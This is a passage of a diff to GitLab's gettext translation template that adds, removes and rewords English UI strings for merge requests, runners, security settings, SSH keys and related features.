+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
